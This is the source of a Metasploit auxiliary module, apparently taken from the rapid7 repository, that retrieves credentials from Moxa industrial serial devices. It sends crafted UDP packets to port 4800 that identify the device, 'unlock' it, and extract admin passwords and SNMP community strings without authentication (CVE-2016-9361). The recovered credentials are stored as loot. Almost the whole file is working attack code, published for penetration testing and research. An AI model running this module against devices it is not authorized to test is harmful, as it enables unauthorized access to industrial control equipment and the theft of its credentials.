Path: blob/master/modules/auxiliary/admin/scada/moxa_credentials_recovery.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Moxa Device Credential Retrieval',14'Description' => %q{15The Moxa protocol listens on 4800/UDP and will respond to broadcast16or direct traffic. The service is known to be used on Moxa devices17in the NPort, OnCell, and MGate product lines. Many devices with18firmware versions older than 2017 or late 2016 allow admin credentials19and SNMP read and read/write community strings to be retrieved without20authentication.2122This module is the work of Patrick DeSantis of Cisco Talos and K. Reid23Wightman.2425Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,26and NPort 5110 firmware 2.6.27},28'Author' => [29'Patrick DeSantis <p[at]t-r10t.com>',30'K. Reid Wightman <reid[at]revics-security.com>'31],3233'License' => MSF_LICENSE,34'References' => [35[ 'CVE', '2016-9361'],36[ 'BID', '85965'],37[ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'],38[ 'URL', 'https://github.com/reidmefirst/MoxaPass/blob/master/moxa_getpass.py' ],39[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-02']40],41'DisclosureDate' => '2015-07-28',42'Notes' => {43'Stability' => [CRASH_SAFE],44'SideEffects' => [IOC_IN_LOGS],45'Reliability' => []46}47)48)4950register_options([51# Moxa protocol listens on 4800/UDP by default52Opt::RPORT(4800),53OptEnum.new('FUNCTION', [54true, 'Pull credentials or enumerate all function codes', 'CREDS',55[56'CREDS',57'ENUM'58]59])60])61end6263def fc64{65# Function codes66'ident' => "\x01", # identify device67'name' => "\x10", # get the "server name" of the device68'netstat' => "\x14", # network activity of the device69'unlock1' => "\x16", # "unlock" some devices, including 5110, MGate70'date_time' => "\x1a", # get the device date and time71'time_server' => "\x1b", # get the time server of device72'unlock2' => "\x1e", # "unlock" 6xxx series devices73'snmp_read' => "\x28", # snmp community strings74'pass' => "\x29", # admin password of some devices75'all_creds' => "\x2c", # snmp comm strings and admin password of 6xxx76'enum' => 'enum' # mock fc to catch "ENUM" option77}78end7980def send_datagram(func, tail)81if fc[func] == "\x01"82# identify datagrams have a length of 8 bytes and no tail83datagram = fc[func] + "\x00\x00\x08\x00\x00\x00\x00"84begin85udp_sock.put(datagram)86response = udp_sock.get(3)87rescue ::Timeout::Error => e88vprint_error(e.message)89end90format_output(response)91# the last 16 bytes of the ident response are used as a form of auth for92# function codes other than 0x0193response[8..24]94elsif fc[func] == 'enum'95for i in ("\x02".."\x80") do96# start at 2 since 0 is invalid and 1 is ident97datagram = i + "\x00\x00\x14\x00\x00\x00\x00" + tail98begin99udp_sock.put(datagram)100response = udp_sock.get(3)101end102if response[1] != "\x04"103vprint_status("Function Code: #{Rex::Text.to_hex_dump(datagram[0])}")104format_output(response)105end106end107else108# all non-ident datagrams have a len of 14 bytes and include a tail that109# is comprised of bytes obtained during the ident110datagram = fc[func] + "\x00\x00\x14\x00\x00\x00\x00" + tail111begin112udp_sock.put(datagram)113response = udp_sock.get(3)114if valid_resp(fc[func], response) == -1115# invalid response, so don't bother trying to parse it116return117end118119if fc[func] == "\x2c"120# try this, note it may fail121get_creds(response)122end123if fc[func] == "\x29"124# try this, note it may fail125get_pass(response)126end127if fc[func] == "\x28"128# try this, note it may fail129get_snmp_read(response)130end131rescue ::Timeout::Error => e132vprint_error(e.message)133end134format_output(response)135end136end137138# helper function for extracting strings from payload139def get_string(data)140str_end = data.index("\x00")141return data[0..str_end]142end143144# helper function for extracting password from 0x29 FC response145def get_pass(response)146if response.length < 200147print_error('get_pass failed: response not long enough')148return149end150pass = get_string(response[200..])151print_good("password retrieved: #{pass}")152store_loot('moxa.get_pass.admin_pass', 'text/plain', rhost, pass)153return pass154end155156# helper function for extracting snmp community from 0x28 FC response157def get_snmp_read(response)158if response.length < 24159print_error('get_snmp_read failed: response not long enough')160return161end162snmp_string = get_string(response[24..])163print_good("snmp community retrieved: #{snmp_string}")164store_loot('moxa.get_pass.snmp_read', 'text/plain', rhost, snmp_string)165end166167# helper function for extracting snmp community from 0x2C FC response168def get_snmp_write(response)169if response.length < 64170print_error('get_snmp_write failed: response not long enough')171return172end173snmp_string = get_string(response[64..])174print_good("snmp read/write community retrieved: #{snmp_string}")175store_loot('moxa.get_pass.snmp_write', 'text/plain', rhost, snmp_string)176end177178# helper function for extracting snmp and pass from 0x2C FC response179# Note that 0x2C response is basically 0x28 and 0x29 mashed together180def get_creds(response)181if response.length < 200182# attempt failed. device may not be unlocked183print_error('get_creds failed: response not long enough. Will fall back to other functions')184return -1185end186get_snmp_read(response)187get_snmp_write(response)188get_pass(response)189end190191# helper function to verify that the response was actually for our request192# Simply makes sure the response function code has most significant bit193# of the request number set194# returns 0 if everything is ok195# returns -1 if functions don't match196def valid_resp(func, resp)197# get the query function code to an integer198qfc = func.unpack('C')[0]199# make the response function code an integer200rfc = resp[0].unpack('C')[0]201if rfc == (qfc + 0x80)202return 0203else204return -1205end206end207208def format_output(resp)209# output response bytes as hexdump210vprint_status("Response:\n#{Rex::Text.to_hex_dump(resp)}")211end212213def check214connect_udp215216begin217# send the identify command218udp_sock.put("\x01\x00\x00\x08\x00\x00\x00\x00")219response = udp_sock.get(3)220end221222unless response223vprint_error('Unknown response')224return Exploit::CheckCode::Unknown225end226227# A valid response is 24 bytes, starts with 0x81, and contains the values228# 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.229if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24230format_output(response)231return Exploit::CheckCode::Appears232end233234cleanup235236Exploit::CheckCode::Safe237end238239def run240unless check == Exploit::CheckCode::Appears241print_error('Aborted because the target does not seem vulnerable.')242return243end244245function = datastore['FUNCTION']246247connect_udp248249# identify the device and get bytes for the "tail"250tail = send_datagram('ident', nil)251252# get the "server name" from the device253send_datagram('name', tail)254255# "unlock" the device256# We send both versions of the unlock FC, this doesn't seem257# to hurt anything on any devices tested258send_datagram('unlock1', tail)259send_datagram('unlock2', tail)260261if function == 'CREDS'262# grab data263send_datagram('all_creds', tail)264send_datagram('snmp_read', tail)265send_datagram('pass', tail)266elsif function == 'ENUM'267send_datagram('enum', tail)268else269print_error('Invalid FUNCTION')270end271272disconnect_udp273end274end275276277